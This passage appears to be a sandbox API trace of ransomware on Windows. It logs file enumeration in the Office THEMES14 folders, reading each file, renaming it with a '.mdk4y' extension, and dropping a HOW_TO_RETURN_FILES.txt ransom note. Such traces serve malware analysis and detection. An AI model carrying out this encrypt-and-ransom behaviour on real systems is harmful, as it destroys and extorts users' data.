shared\\themes14\\slate\\preview.gif.mdk4y")) returned 1 [0120.728] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.728] AreFileApisANSI () returned 1 [0120.728] GetACP () returned 0x4e4 [0120.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SLATE.ELM", cchWideChar=9, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SLATE.ELMIF", lpUsedDefaultChar=0x37dec0) returned 9 [0120.728] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.728] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819595800000) returned 1 [0120.728] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x14c40, lpOverlapped=0x0) returned 1 [0120.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819598200000) returned 1 [0120.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819598200000) returned 1 [0120.753] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.mdk4y")) returned 1 [0120.754] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.754] AreFileApisANSI () returned 1 [0120.754] GetACP () returned 0x4e4 [0120.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SLATE.INF", cchWideChar=9, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SLATE.INF", lpUsedDefaultChar=0x37dec0) returned 9 [0120.754] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819598500000) returned 1 [0120.755] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f4, lpOverlapped=0x0) returned 1 [0120.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819598600000) returned 1 [0120.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819598600000) returned 1 [0120.757] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf.mdk4y")) returned 1 [0120.842] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.842] AreFileApisANSI () returned 1 [0120.842] GetACP () returned 0x4e4 [0120.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0120.842] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819607300000) returned 1 [0120.843] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6a29, lpOverlapped=0x0) returned 1 [0120.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819608900000) returned 1 [0120.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819608900000) returned 1 [0120.859] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.mdk4y")) returned 1 [0120.860] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0120.860] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0120.860] AreFileApisANSI () returned 1 [0120.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0120.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0120.860] GetFileType (hFile=0x130) returned 0x1 [0120.861] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0120.861] AreFileApisANSI () returned 1 [0120.861] GetACP () returned 0x4e4 [0120.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SONORA", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SONORAE", lpUsedDefaultChar=0x37df4c) returned 6 [0120.861] AreFileApisANSI () returned 1 [0120.861] GetACP () returned 0x4e4 [0120.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\kƝ") returned 63 [0120.862] AreFileApisANSI () returned 1 [0120.862] GetACP () returned 0x4e4 [0120.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0120.862] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.862] AreFileApisANSI () returned 1 [0120.862] GetACP () returned 0x4e4 [0120.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0120.862] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.862] AreFileApisANSI () returned 1 [0120.862] GetACP () returned 0x4e4 [0120.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0120.863] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.863] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819609300000) returned 1 [0120.863] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8a1, lpOverlapped=0x0) returned 1 [0120.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819611400000) returned 1 [0120.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819611400000) returned 1 [0120.885] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.mdk4y")) returned 1 [0120.885] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.885] AreFileApisANSI () returned 1 [0120.885] GetACP () returned 0x4e4 [0120.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SONORA.ELM", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SONORA.ELMF", lpUsedDefaultChar=0x37dec0) returned 10 [0120.886] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819611700000) returned 1 [0120.887] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd59f, lpOverlapped=0x0) returned 1 [0121.007] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819623700000) returned 1 [0121.007] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819623700000) returned 1 [0121.008] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.mdk4y")) returned 1 [0121.009] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.009] AreFileApisANSI () returned 1 [0121.009] GetACP () returned 0x4e4 [0121.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SONORA.INF", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SONORA.INF", lpUsedDefaultChar=0x37dec0) returned 10 [0121.009] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819623900000) returned 1 [0121.009] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e4, lpOverlapped=0x0) returned 1 [0121.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819624000000) returned 1 [0121.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819624000000) returned 1 [0121.010] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf.mdk4y")) returned 1 [0121.021] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.022] AreFileApisANSI () returned 1 [0121.022] GetACP () returned 0x4e4 [0121.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0121.022] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819625200000) returned 1 [0121.022] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5534, lpOverlapped=0x0) returned 1 [0121.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819626800000) returned 1 [0121.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819626800000) returned 1 [0121.039] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.mdk4y")) returned 1 [0121.039] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0121.039] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0121.040] AreFileApisANSI () returned 1 [0121.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0121.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0121.040] GetFileType (hFile=0x130) returned 0x1 [0121.041] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0121.041] AreFileApisANSI () returned 1 [0121.041] GetACP () returned 0x4e4 [0121.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SPRING", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SPRING", lpUsedDefaultChar=0x37df4c) returned 6 [0121.041] AreFileApisANSI () returned 1 [0121.041] GetACP () returned 0x4e4 [0121.041] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\kƟ") returned 63 [0121.041] AreFileApisANSI () returned 1 [0121.041] GetACP () returned 0x4e4 [0121.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0121.041] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.041] AreFileApisANSI () returned 1 [0121.041] GetACP () returned 0x4e4 [0121.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0121.041] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.041] AreFileApisANSI () returned 1 [0121.041] GetACP () returned 0x4e4 [0121.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0121.041] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819627200000) returned 1 [0121.042] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x9df, lpOverlapped=0x0) returned 1 [0121.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819628500000) returned 1 [0121.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819628500000) returned 1 [0121.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.mdk4y")) returned 1 [0121.056] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.056] AreFileApisANSI () returned 1 [0121.056] GetACP () returned 0x4e4 [0121.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SPRING.ELM", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SPRING.ELMF", lpUsedDefaultChar=0x37dec0) returned 10 [0121.056] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819629700000) returned 1 [0121.067] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x10af1, lpOverlapped=0x0) returned 1 [0121.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819629800000) returned 1 [0121.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819629800000) returned 1 [0121.069] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.mdk4y")) returned 1 [0121.070] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.070] AreFileApisANSI () returned 1 [0121.070] GetACP () returned 0x4e4 [0121.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SPRING.INF", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SPRING.INF", lpUsedDefaultChar=0x37dec0) returned 10 [0121.070] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819630000000) returned 1 [0121.071] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1d2, lpOverlapped=0x0) returned 1 [0121.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819630100000) returned 1 [0121.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819630100000) returned 1 [0121.072] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf.mdk4y")) returned 1 [0121.074] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.074] AreFileApisANSI () returned 1 [0121.074] GetACP () returned 0x4e4 [0121.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0121.074] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819630500000) returned 1 [0121.075] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4c45, lpOverlapped=0x0) returned 1 [0121.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819633700000) returned 1 [0121.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: 